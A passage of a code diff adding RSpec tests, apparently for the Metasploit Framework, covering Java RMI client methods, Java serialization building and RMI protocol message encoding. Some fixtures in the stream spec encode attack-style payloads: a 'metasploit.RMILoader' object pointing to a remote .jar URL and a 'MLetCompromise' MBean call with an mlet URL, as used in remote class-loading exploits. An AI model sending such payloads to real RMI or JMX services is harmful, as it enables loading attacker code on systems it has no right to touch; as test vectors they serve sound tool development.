Rex::Proto::Rmi::Model::Call" do + expect(mod.build_call(call_opts)).to be_a(Rex::Proto::Rmi::Model::Call) + end + + it "creates a Call with data from opts" do + expect(mod.build_call(call_opts).encode).to eq(opts_call) + end + end + end + + describe "#build_dgc_ack" do + context "when no opts" do + it "creates a Rex::Proto::Rmi::Model::DgcAck" do + expect(mod.build_dgc_ack).to be_a(Rex::Proto::Rmi::Model::DgcAck) + end + + it "creates a default Call" do + expect(mod.build_dgc_ack.encode).to eq(default_dgc_ack) + end + end + + context "when opts" do + it "creates a Rex::Proto::Rmi::Model::DgcAck" do + expect(mod.build_dgc_ack(dgc_ack_opts)).to be_a(Rex::Proto::Rmi::Model::DgcAck) + end + + it "creates a DgcAck with data from opts" do + expect(mod.build_dgc_ack(dgc_ack_opts).encode).to eq(opts_dgc_ack) + end + end + end +end + diff --git a/spec/lib/msf/java/rmi/client_spec.rb b/spec/lib/msf/java/rmi/client_spec.rb new file mode 100644 index 0000000000..72665d3a66 --- /dev/null +++ b/spec/lib/msf/java/rmi/client_spec.rb @@ -0,0 +1,100 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java/serialization' +require 'rex/proto/rmi' +require 'msf/java/rmi/client' + +class RmiStringIO < StringIO + + def put(data) + write(data) + end + + def get_once(length = -1, timeout = 10) + read + end +end + +describe Msf::Java::Rmi::Client do + subject(:mod) do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Java::Rmi::Client + mod.send(:initialize) + mod + end + + let(:io) { RmiStringIO.new('', 'w+b') } + let(:protocol_not_supported) { "\x4f" } + let(:protocol_not_supported_io) { RmiStringIO.new(protocol_not_supported) } + let(:protocol_ack) { "\x4e\x00\x0e\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x06\xea" } + let(:protocol_ack_io) { RmiStringIO.new(protocol_ack) } + let(:return_data) do + "\x51\xac\xed\x00\x05\x77\x0f\x01\xd2\x4f\xdf\x47\x00\x00\x01\x49" + + "\xb5\xe4\x92\x78\x80\x15\x73\x72\x00\x12\x6a\x61\x76\x61\x2e\x72" + + "\x6d\x69\x2e\x64\x67\x63\x2e\x4c\x65\x61\x73\x65\xb0\xb5\xe2\x66" + + "\x0c\x4a\xdc\x34\x02\x00\x02\x4a\x00\x05\x76\x61\x6c\x75\x65\x4c" + + "\x00\x04\x76\x6d\x69\x64\x74\x00\x13\x4c\x6a\x61\x76\x61\x2f\x72" + + "\x6d\x69\x2f\x64\x67\x63\x2f\x56\x4d\x49\x44\x3b\x70\x78\x70\x00" + + "\x00\x00\x00\x00\x09\x27\xc0\x73\x72\x00\x11\x6a\x61\x76\x61\x2e" + + "\x72\x6d\x69\x2e\x64\x67\x63\x2e\x56\x4d\x49\x44\xf8\x86\x5b\xaf" + + "\xa4\xa5\x6d\xb6\x02\x00\x02\x5b\x00\x04\x61\x64\x64\x72\x74\x00" + + "\x02\x5b\x42\x4c\x00\x03\x75\x69\x64\x74\x00\x15\x4c\x6a\x61\x76" + + "\x61\x2f\x72\x6d\x69\x2f\x73\x65\x72\x76\x65\x72\x2f\x55\x49\x44" + + "\x3b\x70\x78\x70\x75\x72\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08" + + "\x54\xe0\x02\x00\x00\x70\x78\x70\x00\x00\x00\x08\x6b\x02\xc7\x72" + + "\x60\x1c\xc7\x95\x73\x72\x00\x13\x6a\x61\x76\x61\x2e\x72\x6d\x69" + + "\x2e\x73\x65\x72\x76\x65\x72\x2e\x55\x49\x44\x0f\x12\x70\x0d\xbf" + + "\x36\x4f\x12\x02\x00\x03\x53\x00\x05\x63\x6f\x75\x6e\x74\x4a\x00" + + "\x04\x74\x69\x6d\x65\x49\x00\x06\x75\x6e\x69\x71\x75\x65\x70\x78" + + "\x70\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9\x62\xc1\xc0" + end + let(:return_io) { RmiStringIO.new(return_data) } + + describe "#send_header" do + it "returns the number of bytes sent" do + expect(mod.send_header(sock: io)).to eq(13) + end + end + + describe "#send_call" do + it "returns the number of bytes sent" do + expect(mod.send_call(sock: io)).to eq(5) + end + end + + describe "#send_dgc_ack" do + it "returns the number of bytes sent" do + expect(mod.send_dgc_ack(sock: io)).to eq(15) + end + end + + describe "#recv_protocol_ack" do + context "when end point returns protocol ack" do + it "returns a Rex::Proto::Rmi::Model::ProtocolAck" do + expect(mod.recv_protocol_ack(sock: protocol_ack_io)).to be_a(Rex::Proto::Rmi::Model::ProtocolAck) + end + end + + context "when end point returns protocol not supported" do + it "return nil" do + expect(mod.recv_protocol_ack(sock: protocol_not_supported_io)).to be_nil + end + end + end + + describe "#recv_return" do + context "when end point returns a value to the call" do + it "returns a Rex::Java::Serialization::Model::Stream" do + expect(mod.recv_return(sock: return_io)).to be_a(Rex::Java::Serialization::Model::Stream) + end + end + + context "when end point doesn't return a value to the call" do + it "returns nil" do + expect(mod.recv_return(sock: io)).to be_nil + end + end + end +end + diff --git a/spec/lib/rex/java/serialization/builder_spec.rb b/spec/lib/rex/java/serialization/builder_spec.rb new file mode 100644 index 0000000000..86e957f19c --- /dev/null +++ b/spec/lib/rex/java/serialization/builder_spec.rb @@ -0,0 +1,143 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java' + +describe Rex::Java::Serialization::Builder do + subject(:builder) do + described_class.new + end + + let(:class_opts) do + { + name: 'java.rmi.MarshalledObject', + serial: 0x7cbd1e97ed63fc3e, + fields: [ + ['int', 'hash'], + ['array', 'locBytes', '[B'], + ['array', 'objBytes', '[B'] + ] + } + end + + let(:object_opts) do + { + data: [["int", 1]] + } + end + + let(:array_opts) do + { + values_type: 'byte', + values: [0x41, 0x42, 0x43, 0x44] + } + end + + describe ".new" do + it "returns a Rex::Java::Serialization::Builder" do + expect(builder).to be_a(Rex::Java::Serialization::Builder) + end + end + + describe "#new_class" do + context "when no options" do + it "returns a Rex::Java::Serialization::Model::NewClassDesc" do + expect(builder.new_class).to be_a(Rex::Java::Serialization::Model::NewClassDesc) + end + + it "sets an empty class name" do + expect(builder.new_class.class_name.contents).to eq('') + end + + it "sets a 0 serial version" do + expect(builder.new_class.serial_version).to eq(0) + end + + it "sets flags to SC_SERIALIZABLE" do + expect(builder.new_class.flags).to eq(Rex::Java::Serialization::SC_SERIALIZABLE) + end + + it "sets default annotations" do + expect(builder.new_class.class_annotation.contents.length).to eq(2) + end + + it "sets empty fields" do + expect(builder.new_class.fields.length).to eq(0) + end + + it "sets null super class" do + expect(builder.new_class.super_class.description).to be_a(Rex::Java::Serialization::Model::NullReference) + end + end + + context "when options" do + it "returns a Rex::Java::Serialization::Model::NewClassDesc" do + expect(builder.new_class(class_opts)).to be_a(Rex::Java::Serialization::Model::NewClassDesc) + end + + it "sets the class name from options" do + expect(builder.new_class(class_opts).class_name.contents).to eq(class_opts[:name]) + end + + it "sets serial version from options" do + expect(builder.new_class(class_opts).serial_version).to eq(class_opts[:serial]) + end + + it "sets fields from options" do + expect(builder.new_class(class_opts).fields.length).to eq(3) + end + end + end + + describe "#new_object" do + context "when no options" do + it "returns a Rex::Java::Serialization::Model::NewObject" do + expect(builder.new_object).to be_a(Rex::Java::Serialization::Model::NewObject) + end + + it "sets empty data" do + expect(builder.new_object.class_data).to eq([]) + end + end + + context "when options" do + it "returns a Rex::Java::Serialization::Model::NewObject" do + expect(builder.new_object(object_opts)).to be_a(Rex::Java::Serialization::Model::NewObject) + end + + it "sets data from options" do + expect(builder.new_object(object_opts).class_data[0][1]).to eq(1) + end + end + end + + describe "#new_array" do + context "when no options" do + it "returns a Rex::Java::Serialization::Model::NewArray" do + expect(builder.new_array).to be_a(Rex::Java::Serialization::Model::NewArray) + end + + it "sets empty values type" do + expect(builder.new_array.type).to eq('') + end + + it "sets empty values array" do + expect(builder.new_array.values).to eq([]) + end + end + + context "when options" do + it "returns a Rex::Java::Serialization::Model::NewArray" do + expect(builder.new_array(array_opts)).to be_a(Rex::Java::Serialization::Model::NewArray) + end + + it "sets empty values type" do + expect(builder.new_array(array_opts).type).to eq(array_opts[:values_type]) + end + + it "sets empty values array" do + expect(builder.new_array(array_opts).values).to eq(array_opts[:values]) + end + end + end +end \ No newline at end of file diff --git a/spec/lib/rex/java/serialization/model/stream_spec.rb b/spec/lib/rex/java/serialization/model/stream_spec.rb index 2c786b471a..2bfb0d9ab1 100644 --- a/spec/lib/rex/java/serialization/model/stream_spec.rb +++ b/spec/lib/rex/java/serialization/model/stream_spec.rb @@ -116,6 +116,40 @@ describe Rex::Java::Serialization::Model::Stream do EOS } + let(:rmi_call) do + "\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a\x61" + + "\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f\x62" + + "\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00\x70" + + "\x78\x70\x00\x00\x00\x00\x77\x08\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x73\x72\x00\x14\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e\x52" + + "\x4d\x49\x4c\x6f\x61\x64\x65\x72\xa1\x65\x44\xba\x26\xf9\xc2\xf4" + + "\x02\x00\x00\x74\x00\x30\x68\x74\x74\x70\x3a\x2f\x2f\x31\x37\x32" + + "\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x3a\x38\x30\x38\x30\x2f\x35" + + "\x71\x4f\x45\x37\x59\x52\x76\x43\x32\x53\x62\x2f\x65\x49\x64\x45" + + "\x44\x70\x2e\x6a\x61\x72\x78\x70\x77\x01\x00" + end + + let(:mbean_call) do + "\xac\xed\x00\x05\x77\x22\x7b\xb5\x91\x73\x69\x12\x77\xcb\x4a\x7d" + + "\x3f\x10\x00\x00\x01\x4a\xe3\xed\x2f\x53\x81\x03\xff\xff\xff\xff" + + "\x60\x73\xb3\x36\x1f\x37\xbd\xc2\x73\x72\x00\x1b\x6a\x61\x76\x61" + + "\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a" + + "\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03" + + "\x00\x00\x70\x78\x70\x74\x00\x1d\x4d\x4c\x65\x74\x43\x6f\x6d\x70" + + "\x72\x6f\x6d\x69\x73\x65\x3a\x6e\x61\x6d\x65\x3d\x65\x76\x69\x6c" + + "\x2c\x69\x64\x3d\x31\x78\x70" + end + + let(:marshalled_argument) do + "\xac\xed\x00\x05\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c" + + "\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f\x10" + + "\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x01\x74\x00\x1f\x68" + + "\x74\x74\x70\x3a\x2f\x2f\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38" + + "\x2e\x31\x33\x32\x3a\x34\x31\x34\x31\x2f\x6d\x6c\x65\x74" + end + describe ".new" do it "Rex::Java::Serialization::Model::Stream" do expect(stream).to be_a(Rex::Java::Serialization::Model::Stream) @@ -259,6 +293,136 @@ describe Rex::Java::Serialization::Model::Stream do expect(stream.encode.unpack("C*")).to eq(complex_stream.unpack("C*")) end end + + context "when serializing a Java RMI call" do + it "serializes the stream correctly" do + block_data = Rex::Java::Serialization::Model::BlockData.new + block_data.contents = "\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43" + block_data.length = block_data.contents.length + + stream.contents << block_data + + new_array_annotation = Rex::Java::Serialization::Model::Annotation.new + new_array_annotation.contents = [ + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::EndBlockData.new + ] + + new_array_super = Rex::Java::Serialization::Model::ClassDesc.new + new_array_super.description = Rex::Java::Serialization::Model::NullReference.new + + new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;') + new_array_desc.serial_version = 0x871300b8d02c647e + new_array_desc.flags = 2 + new_array_desc.fields = [] + new_array_desc.class_annotation = new_array_annotation + new_array_desc.super_class = new_array_super + + array_desc = Rex::Java::Serialization::Model::ClassDesc.new + array_desc.description = new_array_desc + + new_array = Rex::Java::Serialization::Model::NewArray.new + new_array.type = 'java.rmi.server.ObjID;' + new_array.values = [] + new_array.array_description = array_desc + + stream.contents << new_array + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00") + + new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader') + new_class_desc.serial_version = 0xa16544ba26f9c2f4 + new_class_desc.flags = 2 + new_class_desc.fields = [] + new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + new_class_desc.class_annotation.contents = [ + Rex::Java::Serialization::Model::Utf.new(nil, 'http://172.16.158.1:8080/5qOE7YRvC2Sb/eIdEDp.jar'), + Rex::Java::Serialization::Model::EndBlockData.new + ] + new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + new_object = Rex::Java::Serialization::Model::NewObject.new + new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new + new_object.class_desc.description = new_class_desc + new_object.class_data = [] + + stream.contents << new_object + + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00") + + expect(stream.encode).to eq(rmi_call) + end + end + + context "when serializing a MBeanServerConnection.getObjectInstance call data" do + it "serializes the stream correctly" do + block_data = Rex::Java::Serialization::Model::BlockData.new + block_data.contents = "\x7b\xb5\x91\x73\x69\x12\x77\xcb\x4a\x7d\x3f\x10\x00\x00\x01\x4a\xe3\xed\x2f\x53\x81\x03" + block_data.contents << "\xff\xff\xff\xff\x60\x73\xb3\x36\x1f\x37\xbd\xc2" + block_data.length = block_data.contents.length + + stream.contents << block_data + + new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'javax.management.ObjectName') + new_class_desc.serial_version = 0xf03a71beb6d15cf + new_class_desc.flags = 3 + new_class_desc.fields = [] + new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + new_class_desc.class_annotation.contents = [ + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::EndBlockData.new + ] + new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + new_object = Rex::Java::Serialization::Model::NewObject.new + new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new + new_object.class_desc.description = new_class_desc + new_object.class_data = [] + + stream.contents << new_object + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'MLetCompromise:name=evil,id=1') + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::NullReference.new + + expect(stream.encode).to eq(mbean_call) + + end + end + + context "when serializing a marshalled argument" do + it "serializes the stream correctly" do + stream = Rex::Java::Serialization::Model::Stream.new + + new_array_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_array_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.lang.Object;') + new_array_class_desc.serial_version = 0x90ce589f1073296c + new_array_class_desc.flags = 2 + new_array_class_desc.fields = [] + new_array_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + new_array_class_desc.class_annotation.contents = [ + Rex::Java::Serialization::Model::EndBlockData.new + ] + new_array_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + new_array_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + new_array = Rex::Java::Serialization::Model::NewArray.new + new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new + new_array.array_description.description = new_array_class_desc + new_array.type = 'java.lang.Object;' + new_array.values = [ + Rex::Java::Serialization::Model::Utf.new(nil, 'http://172.16.158.132:4141/mlet') + ] + + stream.contents << new_array + + expect(stream.encode).to eq(marshalled_argument) + end + end + end end \ No newline at end of file diff --git a/spec/lib/rex/proto/rmi/model/call_spec.rb b/spec/lib/rex/proto/rmi/model/call_spec.rb new file mode 100644 index 0000000000..7199140549 --- /dev/null +++ b/spec/lib/rex/proto/rmi/model/call_spec.rb @@ -0,0 +1,70 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/proto/rmi' +require 'rex/java' + +describe Rex::Proto::Rmi::Model::Call do + + subject(:call) do + described_class.new + end + + let(:call_message) do + "\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x01\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a" + + "\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f" + + "\x62\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00" + + "\x70\x78\x70\x00\x00\x00\x01\x73\x72\x00\x15\x6a\x61\x76\x61\x2e" + + "\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f\x62\x6a\x49\x44" + + "\xa7\x5e\xfa\x12\x8d\xdc\xe5\x5c\x02\x00\x02\x4a\x00\x06\x6f\x62" + + "\x6a\x4e\x75\x6d\x4c\x00\x05\x73\x70\x61\x63\x65\x74\x00\x15\x4c" + + "\x6a\x61\x76\x61\x2f\x72\x6d\x69\x2f\x73\x65\x72\x76\x65\x72\x2f" + + "\x55\x49\x44\x3b\x70\x78\x70\xbf\x26\x22\xcc\x85\x10\xe0\xf0\x73" + + "\x72\x00\x13\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76" + + "\x65\x72\x2e\x55\x49\x44\x0f\x12\x70\x0d\xbf\x36\x4f\x12\x02\x00" + + "\x03\x53\x00\x05\x63\x6f\x75\x6e\x74\x4a\x00\x04\x74\x69\x6d\x65" + + "\x49\x00\x06\x75\x6e\x69\x71\x75\x65\x70\x78\x70\x80\x01\x00\x00" + + "\x01\x49\xb5\xe4\x92\x78\xd2\x4f\xdf\x47\x77\x08\x80\x00\x00\x00" + + "\x00\x00\x00\x00\x73\x72\x00\x12\x6a\x61\x76\x61\x2e\x72\x6d\x69" + + "\x2e\x64\x67\x63\x2e\x4c\x65\x61\x73\x65\xb0\xb5\xe2\x66\x0c\x4a" + + "\xdc\x34\x02\x00\x02\x4a\x00\x05\x76\x61\x6c\x75\x65\x4c\x00\x04" + + "\x76\x6d\x69\x64\x74\x00\x13\x4c\x6a\x61\x76\x61\x2f\x72\x6d\x69" + + "\x2f\x64\x67\x63\x2f\x56\x4d\x49\x44\x3b\x70\x78\x70\x00\x00\x00" + + "\x00\x00\x09\x27\xc0\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x72\x6d" + + "\x69\x2e\x64\x67\x63\x2e\x56\x4d\x49\x44\xf8\x86\x5b\xaf\xa4\xa5" + + "\x6d\xb6\x02\x00\x02\x5b\x00\x04\x61\x64\x64\x72\x74\x00\x02\x5b" + + "\x42\x4c\x00\x03\x75\x69\x64\x71\x00\x7e\x00\x03\x70\x78\x70\x75" + + "\x72\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08\x54\xe0\x02\x00\x00" + + "\x70\x78\x70\x00\x00\x00\x08\x6b\x02\xc7\x72\x60\x1c\xc7\x95\x73" + + "\x71\x00\x7e\x00\x05\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9" + + "\x62\xc1\xc0" + end + + let(:call_message_io) { StringIO.new(call_message) } + + describe "#decode" do + it "returns the Rex::Proto::Rmi::Model::Call decoded" do + expect(call.decode(call_message_io)).to eq(call) + end + + it "decodes message id correctly" do + call.decode(call_message_io) + expect(call.message_id).to eq(Rex::Proto::Rmi::Model::CALL_MESSAGE) + end + + it "decodes the call data correctly" do + call.decode(call_message_io) + expect(call.call_data).to be_a(Rex::Java::Serialization::Model::Stream) + end + end + + describe "#encode" do + it "re-encodes a Call message correctly" do + call.decode(call_message_io) + expect(call.encode).to eq(call_message) + end + end +end diff --git a/spec/lib/rex/proto/rmi/model/continuation_spec.rb b/spec/lib/rex/proto/rmi/model/continuation_spec.rb new file mode 100644 index 0000000000..dc3b1cefd2 --- /dev/null +++ b/spec/lib/rex/proto/rmi/model/continuation_spec.rb @@ -0,0 +1,50 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/proto/rmi' + +describe Rex::Proto::Rmi::Model::Continuation do + + subject(:continuation) do + described_class.new + end + + let(:sample) do + "\x00\x0e\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32" + + "\x00\x00\x00\x00" + end + + let(:sample_io) { StringIO.new(sample) } + + describe "#decode" do + it "returns the Rex::Proto::Rmi::Model::Continuation decoded" do + expect(continuation.decode(sample_io)).to eq(continuation) + end + + it "decodes length correctly" do + continuation.decode(sample_io) + expect(continuation.length).to eq(14) + end + + it "decodes address correctly" do + continuation.decode(sample_io) + expect(continuation.address).to eq('172.16.158.132') + end + + it "decodes port correctly" do + continuation.decode(sample_io) + expect(continuation.port).to eq(0) + end + end + + describe "#encode" do + it "encodes the Continuation correctly" do + continuation.address = '172.16.158.132' + continuation.length = continuation.address.length + continuation.port = 0 + + expect(continuation.encode).to eq(sample) + end + end +end diff --git a/spec/lib/rex/proto/rmi/model/dgc_ack_spec.rb b/spec/lib/rex/proto/rmi/model/dgc_ack_spec.rb new file mode 100644 index 0000000000..45163f172e --- /dev/null +++ b/spec/lib/rex/proto/rmi/model/dgc_ack_spec.rb @@ -0,0 +1,43 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/proto/rmi' + +describe Rex::Proto::Rmi::Model::DgcAck do + + subject(:dgc_ack) do + described_class.new + end + + let(:sample) do + "\x54\xd2\x4f\xdf\x47\x00\x00\x01\x49\xb5\xe4\x92\x78\x80\x17" + end + + let(:sample_io) { StringIO.new(sample) } + + describe "#decode" do + it "returns the Rex::Proto::Rmi::Model::DgcAck decoded" do + expect(dgc_ack.decode(sample_io)).to eq(dgc_ack) + end + + it "decodes stream_id correctly" do + dgc_ack.decode(sample_io) + expect(dgc_ack.stream_id).to eq(Rex::Proto::Rmi::Model::DGC_ACK_MESSAGE) + end + + it "decodes address correctly" do + dgc_ack.decode(sample_io) + expect(dgc_ack.unique_identifier).to eq("\xd2\x4f\xdf\x47\x00\x00\x01\x49\xb5\xe4\x92\x78\x80\x17") + end + end + + describe "#encode" do + it "encodes the DbgAck correctly" do + dgc_ack.stream_id = Rex::Proto::Rmi::Model::DGC_ACK_MESSAGE + dgc_ack.unique_identifier = "\xd2\x4f\xdf\x47\x00\x00\x01\x49\xb5\xe4\x92\x78\x80\x17" + + expect(dgc_ack.encode).to eq(sample) + end + end +end diff --git a/spec/lib/rex/proto/rmi/model/output_header_spec.rb b/spec/lib/rex/proto/rmi/model/output_header_spec.rb new file mode 100644 index 0000000000..f130f5d9fb --- /dev/null +++ b/spec/lib/rex/proto/rmi/model/output_header_spec.rb @@ -0,0 +1,62 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/proto/rmi' + +describe Rex::Proto::Rmi::Model::OutputHeader do + + subject(:output_header) do + described_class.new + end + + let(:stream_protocol) do + "\x4a\x52\x4d\x49\x00\x02\x4b" + end + + let(:stream_protocol_io) { StringIO.new(stream_protocol) } + + describe "#decode" do + context "when Stream Protocol" do + it "returns the Rex::Proto::Rmi::Model::OutputHeader decoded" do + expect(output_header.decode(stream_protocol_io)).to eq(output_header) + end + + it "decodes signature correctly" do + output_header.decode(stream_protocol_io) + expect(output_header.signature).to eq(Rex::Proto::Rmi::Model::SIGNATURE) + end + + it "decodes version correctly" do + output_header.decode(stream_protocol_io) + expect(output_header.version).to eq(2) + end + + it "decodes protocol correctly" do + output_header.decode(stream_protocol_io) + expect(output_header.protocol).to eq(Rex::Proto::Rmi::Model::STREAM_PROTOCOL) + end + end + end + + describe "#encode" do + context "when Stream Protocol" do + it "encodes the OutputHeader correctly" do + output_header.signature = Rex::Proto::Rmi::Model::SIGNATURE + output_header.version = 2 + output_header.protocol = Rex::Proto::Rmi::Model::STREAM_PROTOCOL + + expect(output_header.encode).to eq(stream_protocol) + end + end + + context "when version field missed" do + it "doesn't encodes the version" do + output_header.signature = Rex::Proto::Rmi::Model::SIGNATURE + output_header.protocol = Rex::Proto::Rmi::Model::STREAM_PROTOCOL + + expect(output_header.encode).to eq("\x4a\x52\x4d\x49\x4b") + end + end + end +end diff --git a/spec/lib/rex/proto/rmi/model/ping_ack_spec.rb b/spec/lib/rex/proto/rmi/model/ping_ack_spec.rb new file mode 100644 index 0000000000..60223f039c --- /dev/null +++ b/spec/lib/rex/proto/rmi/model/ping_ack_spec.rb @@ -0,0 +1,37 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/proto/rmi' + +describe Rex::Proto::Rmi::Model::PingAck do + + subject(:ping_ack) do + described_class.new + end + + let(:sample) do + "\x53" + end + + let(:sample_io) { StringIO.new(sample) } + + describe "#decode" do + it "returns the Rex::Proto::Rmi::Model::PingAck decoded" do + expect(ping_ack.decode(sample_io)).to eq(ping_ack) + end + + it "decodes stream_id correctly" do + ping_ack.decode(sample_io) + expect(ping_ack.stream_id).to eq(Rex::Proto::Rmi::Model::PING_ACK) + end + end + + describe "#encode" do + it "encodes the PingAck correctly" do + ping_ack.stream_id = Rex::Proto::Rmi::Model::PING_ACK + expect(ping_ack.encode).to eq(sample) + end + end +end + diff --git a/spec/lib/rex/proto/rmi/model/ping_spec.rb b/spec/lib/rex/proto/rmi/model/ping_spec.rb new file mode 100644 index 0000000000..732bc61d78 --- /dev/null +++ b/spec/lib/rex/proto/rmi/model/ping_spec.rb @@ -0,0 +1,36 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/proto/rmi' + +describe Rex::Proto::Rmi::Model::Ping do + + subject(:ping) do + described_class.new + end + + let(:sample) do + "\x52" + end + + let(:sample_io) { StringIO.new(sample) } + + describe "#decode" do + it "returns the Rex::Proto::Rmi::Model::Ping decoded" do + expect(ping.decode(sample_io)).to eq(ping) + end + + it "decodes stream_id correctly" do + ping.decode(sample_io) + expect(ping.stream_id).to eq(Rex::Proto::Rmi::Model::PING_MESSAGE) + end + end + + describe "#encode" do + it "encodes the Ping correctly" do + ping.stream_id = Rex::Proto::Rmi::Model::PING_MESSAGE + expect(ping.encode).to eq(sample) + end + end +end diff --git a/spec/lib/rex/proto/rmi/model/protocol_ack_spec.rb b/spec/lib/rex/proto/rmi/model/protocol_ack_spec.rb new file mode 100644 index 0000000000..7451d0c4a3 --- /dev/null +++ b/spec/lib/rex/proto/rmi/model/protocol_ack_spec.rb @@ -0,0 +1,56 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/proto/rmi' + +describe Rex::Proto::Rmi::Model::ProtocolAck do + + subject(:protocol_ack) do + described_class.new + end + + let(:sample) do + "\x4e\x00\x0e\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33" + + "\x32\x00\x00\x06\xea" + end + + let(:sample_io) { StringIO.new(sample) } + + describe "#decode" do + it "returns the Rex::Proto::Rmi::Model::ProtocolAck decoded" do + expect(protocol_ack.decode(sample_io)).to eq(protocol_ack) + end + + it "decodes stream_id correctly" do + protocol_ack.decode(sample_io) + expect(protocol_ack.stream_id).to eq(Rex::Proto::Rmi::Model::PROTOCOL_ACK) + end + + it "decodes length correctly" do + protocol_ack.decode(sample_io) + expect(protocol_ack.length).to eq(14) + end + + it "decodes address correctly" do + protocol_ack.decode(sample_io) + expect(protocol_ack.address).to eq('172.16.158.132') + end + + it "decodes port correctly" do + protocol_ack.decode(sample_io) + expect(protocol_ack.port).to eq(1770) + end + end + + describe "#encode" do + it "encodes the OutputHeader correctly" do + protocol_ack.stream_id = Rex::Proto::Rmi::Model::PROTOCOL_ACK + protocol_ack.address = '172.16.158.132' + protocol_ack.length = protocol_ack.address.length + protocol_ack.port = 1770 + + expect(protocol_ack.encode).to eq(sample) + end + end +end diff --git a/spec/lib/rex/proto/rmi/model/return_data_spec.rb b/spec/lib/rex/proto/rmi/model/return_data_spec.rb new file mode 100644 index 0000000000..4511f3d618 --- /dev/null +++ b/spec/lib/rex/proto/rmi/model/return_data_spec.rb @@ -0,0 +1,59 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/proto/rmi' +require 'rex/java' + +describe Rex::Proto::Rmi::Model::ReturnData do + + subject(:return_data) do + described_class.new + end + + let(:return_stream) do + "\x51\xac\xed\x00\x05\x77\x0f\x01\xd2\x4f\xdf\x47\x00\x00\x01\x49" + + "\xb5\xe4\x92\x78\x80\x15\x73\x72\x00\x12\x6a\x61\x76\x61\x2e\x72" + + 